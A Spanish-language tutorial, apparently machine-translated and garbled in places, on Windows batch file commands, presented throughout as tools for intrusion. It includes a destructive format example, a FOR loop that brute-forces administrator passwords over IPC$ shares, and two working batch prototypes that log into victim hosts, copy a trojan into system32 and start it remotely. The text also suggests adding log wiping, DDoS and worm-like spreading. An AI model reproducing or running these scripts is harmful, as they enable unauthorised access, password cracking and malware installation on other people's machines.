Red de conocimiento informático - Conocimiento informático - Cómo escribir un archivo por lotes para Windows

Cómo escribir un archivo por lotes para Windows

Un archivo por lotes es un archivo con el sufijo ".bat" que puede ejecutar una gran cantidad de comandos a la vez. A continuación se explica cómo crear un archivo por lotes:

En el sistema Windows, cree un nuevo documento de texto.

Ingrese comandos de procesamiento por lotes.

Guardar como un archivo con el sufijo ".bat".

Busque este archivo y haga doble clic en él para ejecutarlo.

1. El comando Eco activa el eco o desactiva la función de solicitud de eco, o muestra un mensaje. Sin ningún parámetro, el comando echo muestra la configuración de eco actual. Sintaxis echo [{on|off}] [mensaje] Ejemplo: echo off / echo hello world En aplicaciones reales, combinaremos este comando con el símbolo de redirección (también llamado símbolo de canalización, generalmente gt; gt; gt; ^) para lograr ingresar algunos comandos en archivos en un formato específico. Esto se reflejará en ejemplos futuros.

2. El comando @ significa que los comandos que siguen a @ no se mostrarán durante el proceso de intrusión (como el uso del procesamiento por lotes para formatear el disco duro del enemigo), naturalmente, la otra parte no puede ver los comandos que usted tiene. usar. Ejemplo: @echo off@echo Ahora inicializando el programa, espere un minuto...@format Se nos proporciona el parámetro autoset y el efecto es el mismo que /y )

3. El comando Ir a especifica un salto a la etiqueta. Después de encontrar la etiqueta, el programa procesará el comando comenzando desde la siguiente línea. Sintaxis: ir a etiqueta (la etiqueta es un parámetro que especifica la línea en el programa por lotes que se redirigirá). Ejemplo: if {1}=={} goto noparmsif {2}=={} goto noparms (si está aquí, 1, 2 Si no lo entiende, continúe, habrá una explicación detallada más adelante.) @Rem verifique los parámetros si es nulo y muestre el uso: noparmsecho Uso: monitor.bat ServerIP PortNumberto El nombre de la etiqueta final puede ser arbitrario, pero lo es. Lo mejor es que las letras sean significativas, agregue un: antes de las letras para indicar que las letras son etiquetas. El comando ir a se basa en esto: para encontrar el siguiente paso y saltar allí. Es mejor tener alguna explicación para que otros puedan entender su intención.

4.El comando de comentario del comando Rem es equivalente a /*--------*/ en lenguaje C. No se ejecutará, solo sirve como comentario para facilitar la lectura de otros. y modifíquelo usted mismo más tarde. Ejemplo de mensaje de Rem: @Rem Aquí está la descripción.

5.Comando de pausa Al ejecutar el comando de pausa, se mostrará el siguiente mensaje: Presione cualquier tecla para continuar. Ejemplo: @echo off: comenzar a copiar. a: *.* d:\backecho Coloque un disco nuevo en el controlador A pausa ir a comenzar En este ejemplo, todos los archivos del disco en la unidad A se copian en d:\back. Mientras se muestra un comentario que le solicita que coloque otro disco en la unidad A, el comando de pausa hace que el programa se cuelgue para que pueda reemplazar el disco y luego presionar cualquier tecla para continuar con el procesamiento.

6. El comando Llamar llama a un programa por lotes desde otro programa por lotes sin finalizar el programa por lotes principal.

El comando de llamada acepta una etiqueta para usar como destino de la llamada. Si utiliza Llamar fuera de un script o archivo por lotes, no funcionará desde la línea de comando. Llamada de sintaxis [[Unidad:][Ruta] Nombre de archivo [BatchParameters]] [:label [argumentos]] Parámetros [Unidad:}[Ruta] Nombre de archivo Especifica la ubicación y el nombre del programa por lotes que se llamará. El parámetro de nombre de archivo debe tener una extensión .bat o .cmd.

7. El comando de inicio llama a programas externos. Todos los comandos de DOS y programas de línea de comandos pueden ser llamados por el comando de inicio. Parámetros comunes para intrusión: MIN Iniciar con ventana minimizada SEPARADO Iniciar programa Windows de 16 bits en un espacio separado ALTO Iniciar aplicación en clase de prioridad ALTA TIEMPO REAL Iniciar aplicación en clase de prioridad TIEMPO REAL ESPERA Iniciar aplicación y esperar a que finalice Estos parámetros son Cuándo la aplicación ejecutado por los argumentos pasados ​​al comando/programa es una aplicación GUI de 32 bits, CMD.EXE no espera a que la aplicación finalice antes de regresar al símbolo del sistema. Este nuevo comportamiento no ocurrirá si se ejecuta dentro de un script de comando. 8.Elección de comando Utilice este comando para permitir al usuario ingresar un carácter para ejecutar diferentes comandos. Al usarlo, debes agregar el parámetro /c:, y c: debe ir seguido de caracteres que se puedan ingresar, sin espacios entre ellos. Su código de retorno es 1234...

Por ejemplo: elección /c: dme defrag, mem, end mostrará defrag, mem, end [D, M, E] Muestra: ¿El contenido de Muestra? bat es el siguiente: @echo off Choice /c: dme defrag, mem, end if nivel de error 3 goto defrag (el código de error con el valor más alto debe juzgarse primero) if nivel de error 2 goto mem if nivel de error 1 goto end

: defrag c: \dos\defrag goto end: mem mem goto end: end echo good bye

Después de ejecutar este archivo, ¿defrag, mem, end[D, M, E]? el usuario puede seleccionar d m e, entonces si La declaración emitirá un juicio, d significa ejecutar el segmento del programa etiquetado como defrag, m representa la ejecución del segmento del programa etiquetado mem, e representa la ejecución del segmento del programa etiquetado como final, y cada segmento del programa termina con ir al final para salte el programa a la etiqueta final en, luego el programa mostrará adiós, fin del archivo.

9.If comando

if significa que juzgará si se cumplen las condiciones especificadas y decidirá ejecutar diferentes comandos. Hay tres formatos: 1. if "parámetro" == comando "cadena" que se ejecutará si el parámetro es igual a la cadena especificada, entonces se establece la condición y se ejecuta el comando. (Tenga en cuenta los dos signos iguales) Por ejemplo, si "1"=="a" formatea a: if {1}=={} goto noparmsif {2}=={} goto noparms

2, si existe el nombre del archivo. Si el comando a ejecutar tiene el archivo especificado, entonces la condición es verdadera y el comando se ejecuta. De lo contrario, se ejecuta la siguiente oración. Por ejemplo, si existe config.sys, edite config.sys

3. if errorlevel / if not errorlevel número de comando a ejecutar. Si el código de retorno es igual al número especificado, se establece la condición. se ejecuta el comando. De lo contrario, se ejecuta la siguiente oración.

Por ejemplo, si el nivel de error 2 pasa a x2, cuando se ejecuta un programa de DOS, devolverá un número a DOS, que se denomina nivel de error o código de retorno. Los códigos de retorno comunes son 0 y 1.

10.comando for El comando for es un comando relativamente complejo, que se utiliza principalmente para ejecutar comandos cíclicamente dentro de un rango específico de parámetros. Cuando utilice el comando FOR en un archivo por lotes, utilice la variable

for {variable|variable} en (establecer) el comando do [CommandLineOptions]variable para especificar un parámetro reemplazable de una sola letra. (conjunto) Especifica un archivo o grupo de archivos. Se pueden utilizar caracteres comodín. comando especifica el comando a ejecutar en cada archivo. parámetros-comando especifica parámetros o modificadores de línea de comando para un comando específico. Cuando utilice el comando FOR en un archivo por lotes, utilice variable en lugar de variable al especificar una variable. Los nombres de las variables distinguen entre mayúsculas y minúsculas, por lo que i es diferente de I

Si las extensiones de comando están habilitadas, se admiten los siguientes formatos de comando FOR adicionales:

FOR /D variable IN ( set) Comando DO [command-parameters]

Si el conjunto contiene comodines, la especificación coincide con nombres de directorios en lugar de nombres de archivos.

FOR /R [[unidad:]ruta] variable IN (establecer) DO comando [comando-

Compruebe el árbol de directorios con raíz en [unidad:]ruta, apuntando a cada FOR declaraciones en directorios. Si no se especifica ningún directorio después de /R, se utiliza el directorio actual. Si el conjunto es solo un carácter de punto (.), se enumera el árbol de directorios.

FOR /L variable IN (inicio, paso, fin) DO comando [command-para

Este conjunto representa una secuencia de números de principio a fin en forma incremental. Por lo tanto, (1,1,5) producirá la secuencia 1 2 3 4 5, y (5,-1,1) producirá la secuencia (5 4 3 2 1).

FOR /F ["opciones"] variable IN (conjunto de archivos) comando DO FOR /F ["opciones"] variable IN ("cadena") comando DO FOR /F ["opciones"] variable IN (comando) comando DO

O, si la opción usebackq está presente:

FOR /F ["opciones"] variable IN (conjunto de archivos) comando DO FOR /F [" opciones "] variable IN ("cadena") comando DO FOR /F ["opciones"] variable IN (comando) comando DO

filenameset es uno o más nombres de archivo. Cada archivo ha sido abierto, leído y procesado antes de pasar al siguiente archivo en el conjunto de nombres de archivos. El procesamiento implica leer el archivo, dividirlo en líneas de texto y luego analizar cada línea en cero o más símbolos. Luego se llama al bucle For con el valor de la variable de cadena de símbolo encontrado. De forma predeterminada, /F pasa el primer carácter de espacio en blanco que separa cada línea de cada archivo. Salta líneas en blanco.

Puede anular la operación de análisis predeterminada especificando el parámetro opcional "opciones". Esta cadena entre comillas contiene una o más palabras clave que especifican diferentes opciones de análisis. Estas palabras clave son:

eol=c - se refiere al final de un carácter de comentario de línea (solo uno) skip=n - se refiere al número de líneas a ignorar al principio del archivo. delims=xxx: se refiere al conjunto de delimitadores. Esto reemplaza el delimitador predeterminado establecido para espacios y tabulaciones. tokens=x,y,m-n: se refiere a qué token de cada fila se pasa a sí mismo en cada iteración. Esto hace que los nombres de las variables adicionales tengan formato como un rango. Especifique el último carácter en la cadena del símbolo m, un asterisco, mediante el símbolo enésimo, luego la variable adicional se asignará antes de que se resuelva el último símbolo y acepte el texto reservado de la línea. usebackq: especifica que la nueva sintaxis se ha utilizado en situaciones en las que una cadena entre comillas se ejecuta como comando y el carácter de comillas es un comando de cadena literal y permite el uso de comillas dobles para expandir los nombres de archivos en fi.

muestra1: FOR /F "eol=; tokens=2, 3* delims=, " i in (myfile.txt) do comando

analizará cada carácter en myfile.txt Una línea, ignorando aquellas líneas que comienzan con punto y coma, pasando el segundo y tercer símbolo en cada línea al cuerpo para delimitar los símbolos con comas y/o espacios. Tenga en cuenta que la declaración for en el cuerpo del programa hace referencia a i para obtener el segundo símbolo, j para obtener el tercer símbolo y k para obtener todos los símbolos restantes después del tercer símbolo. Para nombres de archivos con espacios, debe encerrar el nombre del archivo entre comillas dobles. Para utilizar comillas dobles de esta manera, también debe utilizar la opción usebackq; de lo contrario, se entenderá que las comillas dobles definen una cadena a analizar.

i se especifica específicamente en la declaración for, j y k se especifican mediante la opción tokens=. Puede especificar hasta 26 símbolos en una línea tokens=, siempre y cuando no intente declarar una variable mayor que la letra z o Z. Recuerde, las variables FOR son de una sola letra, distinguen entre mayúsculas y minúsculas y son globales, no se pueden utilizar más de 52 de ellas al mismo tiempo;

También puede utilizar la lógica de análisis FOR /F en cadenas adyacentes encerrando el conjunto de nombres de archivos entre paréntesis entre comillas simples. De esta manera, la cadena se trata como una única línea de entrada en un archivo.

Finalmente, puede utilizar el comando FOR /F para analizar la salida del comando. El método consiste en convertir el conjunto de nombres de archivos entre corchetes en una cadena entre corchetes. La cadena se trata como una línea de comando y se pasa a un sub-CMD.EXE, y su salida se guarda en la memoria y se analiza como un archivo. Por lo tanto, el siguiente ejemplo:

FOR /F "usebackq delims==" i IN (`set`) DO @echo i

enumerará los nombres de las variables de entorno en el entorno actual .

Además, se ha mejorado la sustitución de referencias de variables FOR. Ahora puede utilizar la siguiente sintaxis de opción:

~I - elimine las comillas ("), expanda I~fI - expanda I a una ruta de acceso completa ~dI - expanda I a una unidad únicamente No. ~ pI - Expande I solo a una ruta ~nI - Expande I solo a un nombre de archivo ~xI - Expande I a solo una extensión de archivo ~sI - Las rutas expandidas contienen solo nombres cortos ~aI - Expande I al atributo de archivo del archivo ~tI - expanda I a la fecha/hora del archivo ~zI - expanda I al tamaño del archivo ~$PATH:I - busque los directorios enumerados en la variable de entorno PATH y expanda I al primer nombre completo encontrado.

Si la variable de entorno no está definida o no se encuentra el archivo, esta combinación de teclas expandirá la cadena vacía

Los modificadores se pueden combinar para obtener múltiples resultados:

~dpI - solo Se expandirá a una letra de unidad y ruta ~nxI - expande I solo a un nombre de archivo y extensión ~fsI - expande I solo a una ruta completa con un nombre corto ~dp$PATH:i - busca elementos enumerados en el entorno PATH directorio de variables y expanda I a la primera letra de unidad y ruta encontrada. ~ftzaI - Expande I a una línea de salida similar a un DIR

En el ejemplo anterior, I y PATH se pueden reemplazar con otros valores válidos. La sintaxis ~ termina con un nombre de variable FOR válido. Elegir un nombre de variable en mayúsculas como I es más fácil de leer y evita confusiones con combinaciones de teclas que no distinguen entre mayúsculas y minúsculas.

Lo anterior es la ayuda oficial de MS. A continuación damos algunos ejemplos para explicar específicamente el uso del comando For en intrusión.

ejemplo2:

Utilice el comando For para descifrar la contraseña de fuerza bruta de un host Win2k de destino. Usamos net use \\ip\ipc$ "contraseña" /u:"administrador" para intentar conectarnos al host de destino y escribir la contraseña cuando tenga éxito. El comando más importante es: para /f i en (dict.txt) do net use \\ip\ipc$ "i" /u: "administrador" usa i para representar la contraseña de admin. En dict.txt, esta es i. El valor de se conecta mediante el comando net use. Luego pase los resultados de ejecución del programa al comando de búsqueda - para /f i en (dict.txt) do net use \\ip\ipc$ "i" /u: "administrator"|find ": El comando se completó exitosamente"gt;gt ; D:\ok.txt, esto está bien.

muestra3:

¿Alguna vez ha tenido una gran cantidad de pollos de engorde esperando a que coloque puertas traseras y troyanos? , cuando el número es particularmente grande, algo que originalmente era muy feliz se vuelve muy deprimente :). El artículo comenzó hablando sobre el uso de archivos por lotes para simplificar tareas rutinarias o repetitivas. Entonces, ¿cómo lograrlo? Jaja, lo entenderás después de leerlo.

Solo hay un comando principal: (Cuando use el comando FOR en un archivo por lotes, use variable para especificar variables) @for /f "tokens=1, 2, 3 delims= " i in (victim .txt ) comience a llamar a door.bat i j Para el uso de ktokens, consulte el ejemplo 1 anterior, donde significa pasar el contenido de victim.txt al parámetro i j k en door.bat en orden. Cultivate.bat no es más que usar el comando net use para establecer una conexión IPC$, copiar el troyano + puerta trasera a la víctima y luego usar el código de retorno (si errorlever =) para filtrar los hosts que han colocado exitosamente la puerta trasera, y repetirlos o repetirlos en el documento especificado. delims= significa que el contenido de vivtim.txt está separado por un espacio. Creo que después de ver esto, debes entender cómo es el contenido de victim.txt. Debe organizarse de acuerdo con el objeto representado por i j k, que suele ser el nombre de usuario de la contraseña de IP.

Prototipo de código:

--------------- corte aquí y luego guárdelo como un archivo por lotes (yo lo llamo main.bat) ---------- ----------@echo off@if "1"=="" ir a use@for /f "tokens=1,2,3 delims= " i en (victim.txt) inicio la llamada IPChack .bat i j k@goto end: uso@echo ejecuta este lote en el modelo DOS. O simplemente haz doble clic en él.: fin--------------- corta aquí y luego guárdalo como un archivo por lotes (I llámalo main.bat ) --------------------

----------------- -- cortar aquí y luego guardar como un archivo por lotes (yo lo llamo door.bat) -----------------@net use \\1\ipc$ 3 /u:"2" @si el nivel de error 1 falló @echo Intentando establecer la conexión IPC$ …………OK@copy windrv32.exe\\1\admin$\system32 amp;amp;amp;amp; gt;ko.txt@p***ec \\1 c:\winnt\system32\windrv32.exe@p***ec \\1 net start windrv32 amp;amp si no nivel de error 1 echo 1 Puerta trasera gt;gt; ;ko.txt:failed@echo Lo siento, no puedo conectarme con la víctima.----------------- corte aquí y luego guárdelo como un archivo por lotes (yo lo llamo door.bat) -- ------------------Este es solo un prototipo de un proceso por lotes para instalar puertas traseras automáticamente. Dos procesos por lotes y un programa de puerta trasera (Windrv32.exe necesita). colocarse en el mismo directorio. El contenido del procesamiento por lotes se puede ampliar, por ejemplo: agregando la función de borrar el registro DDOS, agregando la función de agregar usuarios regularmente y profundizando más para que tenga una función de propagación automática (gusano). ). No entraré en detalles aquí, pero los amigos interesados ​​pueden hacer su propia investigación.